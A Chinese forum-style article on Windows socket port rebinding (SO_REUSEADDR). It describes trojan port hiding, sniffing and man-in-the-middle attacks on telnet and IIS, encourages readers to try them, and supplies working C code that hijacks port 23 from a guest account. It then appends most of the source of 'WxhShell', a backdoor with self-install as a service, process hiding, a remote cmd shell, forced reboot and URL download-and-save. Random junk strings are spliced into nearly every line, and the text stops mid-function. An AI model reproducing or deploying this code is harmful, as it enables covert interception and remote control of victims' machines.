在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>(\Z-I&YQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\c\z 6;j TN=!;SvQU saddr.sin_family = AF_INET;
Zsto8wuf# DedY(JOvB saddr.sin_addr.s_addr = htonl(INADDR_ANY);
3EA+tG4KnO T1U8ZEK<iu bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
|44 E:pA Koi-b 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
2]V&]s8Wi= DyCnL@ 这意味着什么?意味着可以进行如下的攻击:
?3yrX_Qm{ vo"?a~kY7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)qeed-{ kKs}E| T 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
c\.7Z=D lcR1FbJ2' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
jmJeu@( #/
HQ?3h] 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
/=[hRn@)A 6R|^IPOGp 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
5_[we1$P S7h?tR*u 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
*cy!PF& 1a
t Q9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r
E&}B5PN= pC/13|I #include
.YlhK=d4 #include
X<<FS%:+ #include
$g!iy'4n* #include
{:TOm0eK DWORD WINAPI ClientThread(LPVOID lpParam);
7srq~;j3 int main()
560`R> {
bWg!/K55 WORD wVersionRequested;
:zQNnq:| DWORD ret;
dfMi]rs!< WSADATA wsaData;
Lk]W? BOOL val;
<T`&NA@%~$ SOCKADDR_IN saddr;
f taa~h* SOCKADDR_IN scaddr;
fn,
YH int err;
71c(Nw~iQ SOCKET s;
6){nu rDBG SOCKET sc;
,FK.8c 6g int caddsize;
:NynNu' HANDLE mt;
+QA|]Y~! DWORD tid;
PB;j4 wVersionRequested = MAKEWORD( 2, 2 );
Zq{TY)PI] err = WSAStartup( wVersionRequested, &wsaData );
^IqD^(Kb if ( err != 0 ) {
>)edha*W] printf("error!WSAStartup failed!\n");
)S^[b2P]y_ return -1;
NArr2o2 }
xp
F(de saddr.sin_family = AF_INET;
W.^R/s8O%5 T-y5U}, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
P*/ig0_fM ^[.Z~>3!\q saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=\IUBH+C saddr.sin_port = htons(23);
ke19(r Ch if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
M~g{}_0Z {
!,O Y{=' printf("error!socket failed!\n");
2Ft#S8 return -1;
zsr; 37 }
]92=PA>75 val = TRUE;
>rY^Un{Z //SO_REUSEADDR选项就是可以实现端口重绑定的
i?D)XXB85 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
|w.h97fj {
V?- ]ZkI printf("error!setsockopt failed!\n");
num2HtU&% return -1;
oC}2 Z{ }
c!a1@G //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
_Jn@+NoO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
fF^A9{{BS //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
XBm ^7' :KI0j%>2y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
h$#|s/ {
4ah5}9{g ret=GetLastError();
vRLWs`1j printf("error!bind failed!\n");
^!Tq(t5V return -1;
5l]qhi3f }
[tkP2%1 listen(s,2);
7X8n|NZRH7 while(1)
QB#_Wn {
J@qwz[d i caddsize = sizeof(scaddr);
_xGC0f ( //接受连接请求
+J3Y}A4W3X sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
J~}i}|YC> if(sc!=INVALID_SOCKET)
]\F}-I[ {
#c(BBTuX mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-/R?D1kOq if(mt==NULL)
"DSRy D0M {
3Qd%`k printf("Thread Creat Failed!\n");
Yb?(Q% break;
bd&Nf2 }
SN;_.46k }
%=)%$n3=-M CloseHandle(mt);
a *qc }
87rHW@\]( closesocket(s);
QPX3a8w* WSACleanup();
.$ xTX' return 0;
u-=VrHff^* }
YJ>P+e\o9 DWORD WINAPI ClientThread(LPVOID lpParam)
V U~r~ {
\9 k3;zw SOCKET ss = (SOCKET)lpParam;
m}]\ ^$d SOCKET sc;
~b})=7 n. unsigned char buf[4096];
wRJ`RKJ-T SOCKADDR_IN saddr;
9'A^n~JHF long num;
[_HOD^ DWORD val;
kyL]4:@W` DWORD ret;
O+=C8 //如果是隐藏端口应用的话,可以在此处加一些判断
>
QK"r7f/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?&bB?mg\ saddr.sin_family = AF_INET;
<[V1z=Eo/] saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Ph17(APt,Q saddr.sin_port = htons(23);
xzBUm if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:z2G
a {
^4=%~Yx printf("error!socket failed!\n");
c3J12+~; return -1;
<%m$
V5h }
1SG^X-(GM/ val = 100;
:`Xg0J+P if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|H;+9( {
4S*dNYc ret = GetLastError();
"]B%V!@ return -1;
fz<GPw
}
@"n]v)[4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tHFBLM {
L/)Q1Mm ret = GetLastError();
R T/)<RT9 return -1;
]%+T+zg(Y }
beFD}` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
!BN@cc[% {
J#?z/ 3v( printf("error!socket connect failed!\n");
8b< 'jft closesocket(sc);
|b+CXEzo closesocket(ss);
QW2SFpE return -1;
%VS+?4ww }
KVPWJHGr while(1)
4E@_Fn_# {
3zzl|+# 6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ag}P //如果是嗅探内容的话,可以再此处进行内容分析和记录
S&NWZ:E3[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Jm,tN/o* num = recv(ss,buf,4096,0);
&e99P{\D if(num>0)
!rff/0/x" send(sc,buf,num,0);
_z53r+A else if(num==0)
j7b 4wH\# break;
?cB26Zrcb num = recv(sc,buf,4096,0);
{=9"WN if(num>0)
N;*
wd< send(ss,buf,num,0);
->2m/d4a else if(num==0)
r?HbApV P break;
2 @t?@,c }
$J*lD-h- closesocket(ss);
@gk{wh>c closesocket(sc);
unt{RVR% return 0 ;
P9q ZjBS }
=a(]@8$!1 PBgU/zVn T}K@ykT ==========================================================
WntolYd gq050Bl) 下边附上一个代码,,WXhSHELL
/#!1 -GYJ)f ==========================================================
i)7B :uA c N~F32< #include "stdafx.h"
FLLfTkXdI 0D&-BAzi #include <stdio.h>
hSG1f` #include <string.h>
7-d.eNQl #include <windows.h>
H.&"~eH
#include <winsock2.h>
apWv+A #include <winsvc.h>
jQdIeQD+ #include <urlmon.h>
=*KY)X 8B3C[? #pragma comment (lib, "Ws2_32.lib")
O8/r-?4. #pragma comment (lib, "urlmon.lib")
YA~`R~9d U;LX"'} #define MAX_USER 100 // 最大客户端连接数
bd)Sb? #define BUF_SOCK 200 // sock buffer
FA1h!Vit #define KEY_BUFF 255 // 输入 buffer
8BX9JoDi 2j=HxE #define REBOOT 0 // 重启
K?*p|&Fi?8 #define SHUTDOWN 1 // 关机
g:Ry.=F7W 4f'!,Q ; #define DEF_PORT 5000 // 监听端口
,Gy2$mglB c6tH'oV #define REG_LEN 16 // 注册表键长度
83_vo0@<6 #define SVC_LEN 80 // NT服务名长度
\Yr&vX/[p TsY
nsLQY // 从dll定义API
YB376/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
oT"7O5v typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
DUb8 HgcV} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
z4JhLef % typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
op61-:q/ cq}i)y // wxhshell配置信息
cRP!O|I`] struct WSCFG {
`+@r0:G&v int ws_port; // 监听端口
>)VWXv0 char ws_passstr[REG_LEN]; // 口令
x| r# int ws_autoins; // 安装标记, 1=yes 0=no
.qrS[ w char ws_regname[REG_LEN]; // 注册表键名
G' mg-{ char ws_svcname[REG_LEN]; // 服务名
@s|yH" char ws_svcdisp[SVC_LEN]; // 服务显示名
AU<A\ char ws_svcdesc[SVC_LEN]; // 服务描述信息
yv\
j&B| char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Xr{
r&Rl int ws_downexe; // 下载执行标记, 1=yes 0=no
Yduj3Ht:w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
9
!V,++j char ws_filenam[SVC_LEN]; // 下载后保存的文件名
rs,:pU >Zh^,T={G };
9!s)52qt .Zr3!N.t // default Wxhshell configuration
fHXz{,?/w struct WSCFG wscfg={DEF_PORT,
U_~r0 "xuhuanlingzhe",
9b)'vr*Hy7 1,
fk\hrVP "Wxhshell",
{VKP&{~O "Wxhshell",
ksF4m_E>YB "WxhShell Service",
rAS2qt "Wrsky Windows CmdShell Service",
Tfw5i,{ "Please Input Your Password: ",
cQ(,M 1,
&_,.*tha "
http://www.wrsky.com/wxhshell.exe",
Cw h[R "Wxhshell.exe"
U9"Ij} };
SbH} cu8 h`4!Qv // 消息定义模块
\omfWWpK char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
UD^=@?^7 char *msg_ws_prompt="\n\r? for help\n\r#>";
@*iT%p_L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
[#+klP$ char *msg_ws_ext="\n\rExit.";
^_k`@SU char *msg_ws_end="\n\rQuit.";
rmPJid[8B~ char *msg_ws_boot="\n\rReboot...";
I36ClOG char *msg_ws_poff="\n\rShutdown...";
q0(-"}2l char *msg_ws_down="\n\rSave to ";
60r0O5=|Fl UD_8#DO{m1 char *msg_ws_err="\n\rErr!";
6k;>:[p char *msg_ws_ok="\n\rOK!";
/`g~lww2O /~P4<1 char ExeFile[MAX_PATH];
=Q4Wr0y><] int nUser = 0;
f!J?n] HANDLE handles[MAX_USER];
CQ'4 ".7 int OsIsNt;
wc?YzXP+ 6yXN7L==x SERVICE_STATUS serviceStatus;
##'uekSJ SERVICE_STATUS_HANDLE hServiceStatusHandle;
J/\^3rCB ,AG k4] // 函数声明
T 2Gscey int Install(void);
[>|6qY$D int Uninstall(void);
Zz! yv(e)H int DownloadFile(char *sURL, SOCKET wsh);
spTIhZ int Boot(int flag);
6&,9=(:J&R void HideProc(void);
~>rnq7j int GetOsVer(void);
7A{,)Y/w ^ int Wxhshell(SOCKET wsl);
p)s*Cw void TalkWithClient(void *cs);
DS0:^TLI int CmdShell(SOCKET sock);
9a]h;r8,9z int StartFromService(void);
O[z-K K< int StartWxhshell(LPSTR lpCmdLine);
3#Xv))w1 #ib?6=sPC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
cCq mrjUmV VOID WINAPI NTServiceHandler( DWORD fdwControl );
As(6E}{S G<`6S5J>hr // 数据结构和表定义
2bxW`.fa SERVICE_TABLE_ENTRY DispatchTable[] =
hlFvm$P`M {
XRXQ
7\n {wscfg.ws_svcname, NTServiceMain},
K.42 VM)F {NULL, NULL}
[k60=$y };
+4V"&S|& c? >;UzM // 自我安装
EgTj
int Install(void)
b;"Z`/h {
wa$Q8/ char svExeFile[MAX_PATH];
Sb?HRoe_ HKEY key;
`9nk{!X\ strcpy(svExeFile,ExeFile);
AP0z~e X9o6} %Y // 如果是win9x系统,修改注册表设为自启动
)u.%ycfeV if(!OsIsNt) {
%+L3Xk]m' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:@^T^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
HlXEU$e
RegCloseKey(key);
D}nIF7r2N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"(vm0@8>< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
VIuzBmR|\ RegCloseKey(key);
vd0uI#g%# return 0;
.`/6[Zp }
c='uyx }
2@:Ztt6~ }
jB3Rue:+g else {
SlD7 \X&~ N==Y]Z$G // 如果是NT以上系统,安装为系统服务
W4]jx] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
g.COKA if (schSCManager!=0)
%( #kJZ {
.]ZMxDZ SC_HANDLE schService = CreateService
/v7o!D1G (
no7Q%O9 schSCManager,
[wM]w wscfg.ws_svcname,
5XinZ~ wscfg.ws_svcdisp,
o| 9Mj71 SERVICE_ALL_ACCESS,
i=\`f& B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
oTk?a!Q SERVICE_AUTO_START,
8 G:f[\^ SERVICE_ERROR_NORMAL,
~D_Wqr svExeFile,
u9G NULL,
(XQ:f|( NULL,
Sw~L
M&A NULL,
:-e[$6}S NULL,
LteZ7e NULL
)CG,Udu );
W"\O+ if (schService!=0)
o=Ia{@ {
$zJ!L CloseServiceHandle(schService);
*iXaQu T CloseServiceHandle(schSCManager);
DUvF strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
SAokW, strcat(svExeFile,wscfg.ws_svcname);
AO]1`b: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
KWH:tFL. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ZW`wA2R0
RegCloseKey(key);
m&k l_f7 return 0;
b}Wm-]|+ }
hus k\ }
H*h4D+Kxv CloseServiceHandle(schSCManager);
AzFS6<_ }
^%}PRl9 }
G(MLq"R6U R;H>#caJ return 1;
ApqNV }
vec4R )S $DhW=(YM_a // 自我卸载
zc5>)v LH= int Uninstall(void)
!]=S A & {
ONm-zRx| HKEY key;
[*^rH: ]3CWb>!_ if(!OsIsNt) {
YI+o:fGC5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
J6g:.jsK! RegDeleteValue(key,wscfg.ws_regname);
eOs 4c` RegCloseKey(key);
@T&w
nk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
y:,m(P RegDeleteValue(key,wscfg.ws_regname);
u'qc=5 RegCloseKey(key);
jl,>0MA return 0;
m4RiF }
KfV&7yi }
`f\+aD'u }
,*g.?q@W2 else {
ant#bDb/ .[S\&uRv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
-E-e! if (schSCManager!=0)
j&"GE':Y {
;6{{hc4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
s1
(UOd7} if (schService!=0)
jF|LPWl {
$im6v if(DeleteService(schService)!=0) {
cD]#6PFA CloseServiceHandle(schService);
Z2&7HTz CloseServiceHandle(schSCManager);
+"JQ5~7 return 0;
8W}rSv+ }
MsjC4(Xla. CloseServiceHandle(schService);
l` ?4O }
c->?'h23) CloseServiceHandle(schSCManager);
M`QK{$1p }
Y&1Yc)*O }
p9j2jb,qy lfyij[6q+ return 1;
x(y=.4Yf+ }
xH{V.n&v
7!^Zsp^+ // 从指定url下载文件
KBwY _ int DownloadFile(char *sURL, SOCKET wsh)
#s|,oIm {
z_A34@a HRESULT hr;
`k~w
14~w char seps[]= "/";
{|R +|ow char *token;
YbP}d&L char *file;
*M+ CA_I( char myURL[MAX_PATH];
A5%cgr% 6 char myFILE[MAX_PATH];
xZ>@wBQ 0<42\ya strcpy(myURL,sURL);
gutf[Ksu token=strtok(myURL,seps);
'Ad |*~ while(token!=NULL)
%p
tw=Ju {
[G7S file=token;
XA-, token=strtok(NULL,seps);
"In$|A\?E }
hXQo>t-$ |k=5`WG GetCurrentDirectory(MAX_PATH,myFILE);
Lr<?eWdCwJ strcat(myFILE, "\\");
rwY{QBSf strcat(myFILE, file);
89a`WV@} send(wsh,myFILE,strlen(myFILE),0);
,<<HkEMS send(wsh,"...",3,0);
&|c] U/_w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
RbJbVFz8C if(hr==S_OK)
q]OgT4ly return 0;
8t1,_,2' else
iS}~e{TP/ return 1;
f^ 6da6Z );L +)UV }
^LAdN8Cbb 4/E>k <MA // 系统电源模块
-k}&{v int Boot(int flag)
jQY^[A {
4L)Ox;6> HANDLE hToken;
vff`Xh>k( TOKEN_PRIVILEGES tkp;
m,#Us Y$N D if(OsIsNt) {
+3k#M[Bn} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
wPH1g*U LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
5c-'m?k tkp.PrivilegeCount = 1;
*","u;& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<77v8=as5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,=y8[(h if(flag==REBOOT) {
UjH+BC+9`b if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}7Y@u@R return 0;
lBfG#\rdW~ }
J]qx4c else {
hdurT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
~A-VgBbU>_ return 0;
~+O ws }
x).`nZ1 }
bb"x^DtT else {
,[)f-FmcU if(flag==REBOOT) {
uqK[p^{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[C( >e0r return 0;
r+;AE N48 }
19;F+%no# else {
t$5)6zG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
D8wZC'7 return 0;
I>45xVA }
q?Av5TFf }
'tun;Y Ub<^;Du5 return 1;
<!I^ xo[ }
dJUI.!hv; `&qeSEs\ // win9x进程隐藏模块
J7s\
void HideProc(void)
c9axzg
UA {
n]J;BW&Av ,)P6fa/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
K 6HH_T if ( hKernel != NULL )
=B tmi {
`#>JRQ= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
\>(S?)6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
$_b^p= FreeLibrary(hKernel);
R9O[`~BA2 }
-'Y@yIb e*jfxQ=qG return;
^%2S,3*0 }
L+d4&x A_<1}8{L // 获取操作系统版本
Q^\f,E\S int GetOsVer(void)
:H`Z.>K {
]>k>Z#8E* OSVERSIONINFO winfo;
7="I; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!nyUAZ9 : GetVersionEx(&winfo);
iXFN|ml if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
`=rDB7!$yL return 1;
!Zma\Ip else
TrmU return 0;
wNhtw'E8 }
zHW}A
`Rz ,.PmH.zjmR // 客户端句柄模块
?ZlN$h^ int Wxhshell(SOCKET wsl)
R|O."&CAB {
;mLbgiqQ J SOCKET wsh;
`]\:%+- struct sockaddr_in client;
I85bzzZB DWORD myID;
jq"iLgEMO |_`wC while(nUser<MAX_USER)
_^cFdP)8| {
6o^sQ(] int nSize=sizeof(client);
!ie'}|c wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
K18Sj,]B if(wsh==INVALID_SOCKET) return 1;
jbK<"T5 o5|P5h handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!'T,%8'] if(handles[nUser]==0)
ECEDNib closesocket(wsh);
@8s:,Y_ else
QR]61v:` nUser++;
@F%_{6h }
!BikqTM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[d/uy>z, @I,:(<6 return 0;
Ve\=By-a| }
1!`B8y) ums*EKjs97 // 关闭 socket
d
,!sZ&v void CloseIt(SOCKET wsh)
[_,Gk]F= {
#{oGmzG! closesocket(wsh);
p:9^46N@ nUser--;
dqo&3^px ExitThread(0);
A%dI8Z, }
#Mmr{4m v$i[dZSN[ // 客户端请求句柄
"I`g(q#Uo void TalkWithClient(void *cs)
j[y,Jch {
v a
j q&N1| f7 SOCKET wsh=(SOCKET)cs;
Q]oCzSi char pwd[SVC_LEN];
e#jkp' char cmd[KEY_BUFF];
p^ojhrr char chr[1];
'}eA2Q>BV int i,j;
S((\KL, yQM<(;\O while (nUser < MAX_USER) {
Da8{== ~*,e &I if(wscfg.ws_passstr) {
=hse2f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KOM]7%ys1H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Fi*j}4F1 //ZeroMemory(pwd,KEY_BUFF);
H(k-jAO, i=0;
bEc @"^) while(i<SVC_LEN) {
1l*O;J9By jVhfpS[ // 设置超时
=ijVT_|u0 fd_set FdRead;
)RE~=*?d struct timeval TimeOut;
o(_~
st< FD_ZERO(&FdRead);
zP$Ef7bB FD_SET(wsh,&FdRead);
Xs7xZ$ TimeOut.tv_sec=8;
l9up?opq TimeOut.tv_usec=0;
o#ajBOJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
o$FYCz n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
E5U{.45 cw)'vAE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ubvXpK:. pwd
=chr[0]; C-6m[W8S
if(chr[0]==0xd || chr[0]==0xa) { 4RXF.kJ3=
pwd=0; 5? rR'0
break; wX!>&Gc.
} V0!.>sX9
i++; A(<"oAe|
} AJ`R2
$
|?KdQeL
// 如果是非法用户,关闭 socket 540,A,>:tb
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |N/Wu9w$
} hd E? %A
g Q@fe3[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g9$P J:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hy?e?^
kbF+aS
while(1) { NDv_@V(D
)Ap0" ?q
ZeroMemory(cmd,KEY_BUFF); gvx
{;e
GE0,d
// 自动支持客户端 telnet标准 etHkyF
j=0; A_vf3 *q
while(j<KEY_BUFF) { x\m?* 5p
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r-+S^mOE]
cmd[j]=chr[0]; 9/x_p;bI
if(chr[0]==0xa || chr[0]==0xd) { N=X(G(
cmd[j]=0; eGJ}';O,g
break; W7ffdODb
} 7<ZCeM2x
j++; {_{&t>s2
} IT~pp_6g
' Oe}Ja
// 下载文件 (VxWa#P
if(strstr(cmd,"http://")) { d^Jf(NE0Yo
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4Nx]*\\
if(DownloadFile(cmd,wsh)) B-
VhUS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1*>lYd8_
else [qEd`8V(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5yhfCe m|
} *ydU3LG7
else { HAi'0%"
]1XJQW@gF
switch(cmd[0]) { =H\ig%%E@
0R0j7\{
// 帮助 )G">7cg;t
case '?': { Td`0;R'<}c
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dGrm1w
break; [MkXQwY
} HP
/@ _qk
// 安装 [7:(e/&
case 'i': { F9SkEf]99
if(Install()) mJ3|UClPS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Wn2+pd
else >,v,4,c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cy~Pfty
break; O\(0{qu
} 3]X~bQAw
// 卸载 ?oc#$fcQ~
case 'r': { Po=@
6oB
if(Uninstall()) jnl3P[uQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kh'R/Dt
else xfE:r:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Es0n$Xb
break; 7Qc
4Oz:t
} !M[a/7x,p
// 显示 wxhshell 所在路径 zoU-*Rs6
case 'p': { -zq_W+)ks
char svExeFile[MAX_PATH]; Z3)l5JG)
strcpy(svExeFile,"\n\r"); 7:h8b/9
strcat(svExeFile,ExeFile); QF7iU@%-
send(wsh,svExeFile,strlen(svExeFile),0); F^v <z)x
break; Zu$30&U
} j;|rI`67~
// 重启 @\=%M^bx
case 'b': { HZ#<+~J
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f_&bwfbo
if(Boot(REBOOT)) 8u401ddg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l9%oKJ;
else { qOV6Kh)
closesocket(wsh); pErre2fS
ExitThread(0); c%|18dV
} ;LBq!
break; dz6i~&
} \.R+|`{tf
// 关机 Ny.s
u?E
case 'd': { F`3J=AJOJ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L0Fhjbc
if(Boot(SHUTDOWN)) (oYM}#Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z5vpo$l
else { YB}p`b42L
closesocket(wsh); ]Y%?kQ^
ExitThread(0); 8mCL3F
} ~[por
break; (mOUbO8
} >|Hd*pg))
// 获取shell Gj.u/l
case 's': { "uz}`G~O
CmdShell(wsh); ZkyH<Aa
closesocket(wsh); }538vFNi
ExitThread(0); 6+MZ39xC
break; gZFtV
} H^N@fG<*dh
// 退出 bGl5=`
case 'x': { IXmtjRv5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H'L~8>
CloseIt(wsh); %D(%
lh2
break; LV:`siK
} 2VNMz[W'
// 离开 vsjl8L
case 'q': { RaS7IL:e
send(wsh,msg_ws_end,strlen(msg_ws_end),0); | 'SqG}h
closesocket(wsh); -N')LY
WSACleanup(); l>i<J1
exit(1); ]"3(UKx
break; @bN`+DC!<
} H$
!78/f
} v Kzq7E
} .}}w@NO
FM c9oyU~
// 提示信息 50:$km\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -! dL
<
} >k6RmN
} !$:lv)y
'$]u?m
return; PQmgv&!DP
} ; 7`y##
m)A~1+M$)L
// shell模块句柄 'NM$<<0
int CmdShell(SOCKET sock) +v 9@du
{ 'g8~ uP
STARTUPINFO si; Ie#LZti
ZeroMemory(&si,sizeof(si)); W2F %E
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M>CW(X
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ddDl~&}o
PROCESS_INFORMATION ProcessInfo; 7Ca+Pe}/n,
char cmdline[]="cmd"; *}Al0\q0M
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g4 BEo'
return 0; AwhXCq|k
} `7|\Gqy
'V reO52
// 自身启动模式 H!y%Fa Ti
int StartFromService(void) zCdQI
{ x"@Y[
typedef struct 1D42+cy
{ }";\8
DWORD ExitStatus; y/>]6Pj
DWORD PebBaseAddress; SArSi6vF
